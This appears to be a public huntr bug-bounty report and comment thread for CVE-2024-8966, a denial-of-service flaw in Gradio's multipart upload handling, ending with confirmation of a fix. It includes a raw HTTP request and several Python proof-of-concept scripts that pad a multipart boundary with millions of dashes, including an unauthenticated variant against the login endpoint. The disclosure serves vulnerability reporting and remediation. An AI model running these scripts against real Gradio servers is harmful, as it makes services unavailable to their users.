

DOS in multipart boundry while uploading the file in gradio-app/gradio

✓ Valid

Reported on Aug 17th 2024

Description

A vulnerability was identified in the file upload process that can result in a Denial of Service (DoS) attack. If an attacker appends any character, like a -, to the end of a multipart boundary, the terminal issues a warning: multipart.multipart Consuming a byte '0x2d' in end state. By adding a large number of - or other characters, the system continues processing each one, causing the warning to repeat. This makes Gradio inaccessible. In my case, I added 9,843,370 characters, which rendered Gradio unavailable for several hours.

Used the following gradio demo for upload: https://github.com/gradio-app/gradio/blob/main/demo/upload_and_download/run.py

Video_POC:

<https://drive.google.com/file/d/1kin1uCDEQLk0GexJSByzXKm0mfU0zzjl/view?usp=sharing>

Proof of Concept

- Run the given gradio Demo with uplaod functionality
- Upload a fille, and intercept the request

```
POST /upload HTTP/1.1
```

```
Host: 127.0.0.1:7860
```

```
Content-Type: multipart/form-data; boundary=-----84223741816526770551866662314
```

```
Content-Length: 13506716
```

```
-----84223741816526770551866662314
```

```
Content-Disposition: form-data; name="files"; filename="test.txt"
```

```
Content-Type: text/plain
```

```
Hello I am test
```

```
-----84223741816526770551866662314--
```

- Add the large amount of character after end of multipart boundry e:g: After

```
-----84223741816526770551866662314--
```

```
POST /upload HTTP/1.1
Host: 127.0.0.1:7860

Content-Type: multipart/form-data; boundary=-----84223741816526770551866662314
Content-Length: 13506716

-----84223741816526770551866662314
Content-Disposition: form-data; name="files"; filename="test.txt"
Content-Type: text/plain

Hello I am test

-----84223741816526770551866662314-----
```

- Send the request, and it will be unavailable till the processing of each and every characters, which will take infinite time.

Impact

The vulnerability has far-reaching implications, as many applications rely on Gradio as their foundation. Exploiting this vulnerability to carry out a Denial of Service (DoS) attack could disrupt not just a single instance but potentially affect multiple applications that use Gradio. By causing the system to continuously process a large number of characters appended to a multipart boundary, attackers can render these applications inaccessible for extended periods. This downtime can lead to significant data inaccessibility, disrupted services, and a loss of productivity across various platforms that depend on Gradio. In a test case, adding 9,843,370 characters caused Gradio to be unavailable for several hours, emphasizing the severe impact such an attack could have on any Gradio-based application.

Occurrences

 route_utils.py L461-L646

References

- <https://huntr.com/bounties/6394d32e-f35c-418a-95b8-e7254ed0bc8e>

 We are processing your report and will contact the **gradio-app/gradio** team within 24 hours. a year ago



huntr-helper commented a year ago

[Admin](#)

This report was determined to possibly be out of scope or have a high likelihood of being marked as informative.

Please review your report and the [Participation Guidelines](#).

These are the specific guidelines this report is in possible violation of:

- Vulnerabilities in code used for tests or example purposes.



M Nadeem Qazi commented a year ago

Researcher

This is how we implements the basic functionalities in the gradio, The vulnerability exist in the core gradio. not in the demo code.



huntr-helper commented a year ago

Admin

This report was determined to not have enough information for the maintainer or the Huntr team to triage.

Please add more details in all sections of the report.

Additionally, at least one PoC (Proof of Concept), needs to be provided. We *strongly* prefer the PoC to be in any of the following formats:

- Sequence of cURL commands
- A script in any programming language
- A Metasploit Module

Please note: while videos demonstrating exploitation are a welcomed addition to the report, they should not be used as a replacement for the PoC.



M Nadeem Qazi commented a year ago

Researcher

It has all the required info. @admin if you need anything, I will surely provide you.

✉ We have contacted a member of the **gradio-app/gradio** team and are waiting to hear back a year ago

✉ We have sent a follow up to the **gradio-app/gradio** team. We will try again in 4 days. a year ago

✉ We have sent a second follow up to the **gradio-app/gradio** team. We will try again in 7 days. a year ago



M Nadeem Qazi commented a year ago

Researcher

Or we can simply run the following python script for POC:

```
import requests

# Configuration
num = 50000000
url = "http://127.0.0.1:7860/upload"
headers = {
    "Content-Type": "multipart/form-data; boundary=-----2841780917406021057"
}
```

```
# The exact raw payload as specified
data = (
    "-----284178091740602105783377960069\r\n"
    "Content-Disposition: form-data; name=\"uploadFile\"; filename=\"test.txt\"\r\n"
    "Content-Type: text/plain\r\n\r\n"
    "Hello I am test\r\n"
    "-----284178091740602105783377960069--" + '-' * num + "\r\n"
)

response = requests.post(url, headers=headers, data=data.encode('utf-8'), verify=False)

# Print response status code
print(response.status_code)
```

⚙️ This report has now been passed to internal triage and should be resolved within 14 days. a year ago

✎️ Ethan Silvas modified the Severity from High (7.5) to Medium (6.5) a year ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

✅ Ethan Silvas validated this vulnerability a year ago

Confirmed this will make the gradio application unusable for all users but changing privileges to low because you can't send the request without being authenticated.

\$ mnqazi has been awarded the disclosure bounty ✅

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

👤 CVE-2024-8966 assigned to this report. a year ago

✎️ Ethan Silvas modified the Severity from Medium (6.5) to High (7.5) a year ago

Ethan Silvas commented a year ago

Admin

Spoke over discord and this works unauthenticated through the login endpoint:

```
import requests

# Configuration
num = 50000000
url = "http://127.0.0.1:7860/login"
headers = {
    "Content-Type": "multipart/form-data; boundary=-----284178091740602105783377960069\r\n"
}

# The exact raw payload as specified
data = (
    "-----284178091740602105783377960069\r\n"
```

```

"Content-Disposition: form-data; name=\"uploadFile\"; filename=\"test.txt\"\\r\\n"
"Content-Type: text/plain\\r\\n\\r\\n"
"Hello I am test\\r\\n"
"-----284178091740602105783377960069--" + '-' * num + "\\r\\n"
)

response = requests.post(url, headers=headers, data=data.encode('utf-8'), verify=False)

# Print response status code
print(response.status_code)

```

✉ We have notified the **gradio-app/gradio** maintainers about this report in their weekly follow-up a year ago

⚠ We have sent a warning to the **gradio-app/gradio** team to inform them that this report will be published in 48 hours a year ago

🔊 This vulnerability has now been published a year ago

🔧 CVE-2024-8966 has now been published 10 months ago

Abubakar Abid commented 10 months ago

Maintainer

Just tested with the latest version of Gradio and this vulnerability has been fixed. You can test with with `gradio==5.23`, launch any Gradio app, and then run:

```

import requests

num = 50_000_000 # Number of extra characters
url = "http://127.0.0.1:7860/gradio_api/upload"
headers = {
    "Content-Type": "multipart/form-data; boundary=-----boundary"
}
data = (
    "-----boundary\\r\\n"
    "Content-Disposition: form-data; name=\"uploadFile\"; filename=\"test.txt\"\\r\\n"
    "Content-Type: text/plain\\r\\n\\r\\n"
    "Hello I am test\\r\\n"
    "-----boundary--" + '-' * num + "\\r\\n"
)

response = requests.post(url, headers=headers, data=data.encode('utf-8'))
print(response.status_code)

```

👁 A **gradio-app/gradio** maintainer has acknowledged this report 10 months ago

✓ Abubakar Abid marked this as fixed in **5.9** with commit **f1718c** 10 months ago

\$ Freddy Boulton has been awarded the fix bounty ✓

\$ `route_utils.py#L461-L646` has been validated ✓

CVE

CVE-2024-8966

Published

Vulnerability Type

CWE-770: Allocation of Resources Without Limits or Throttling

Severity

High (7.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

[Open in visual CVSS calculator](#)

Registry

Pypi

Affected Version

@gradio/video@0.10.2

Visibility

Public

Status

Fixed

Disclosure Bounty

\$750

Fix Bounty

\$187.5

Found by



M Nadeem Qazi

@mnqazi

LIGHTWEIGHT



Fixed by



Freddy Boulton

@freddyaboulton

UNPROVEN



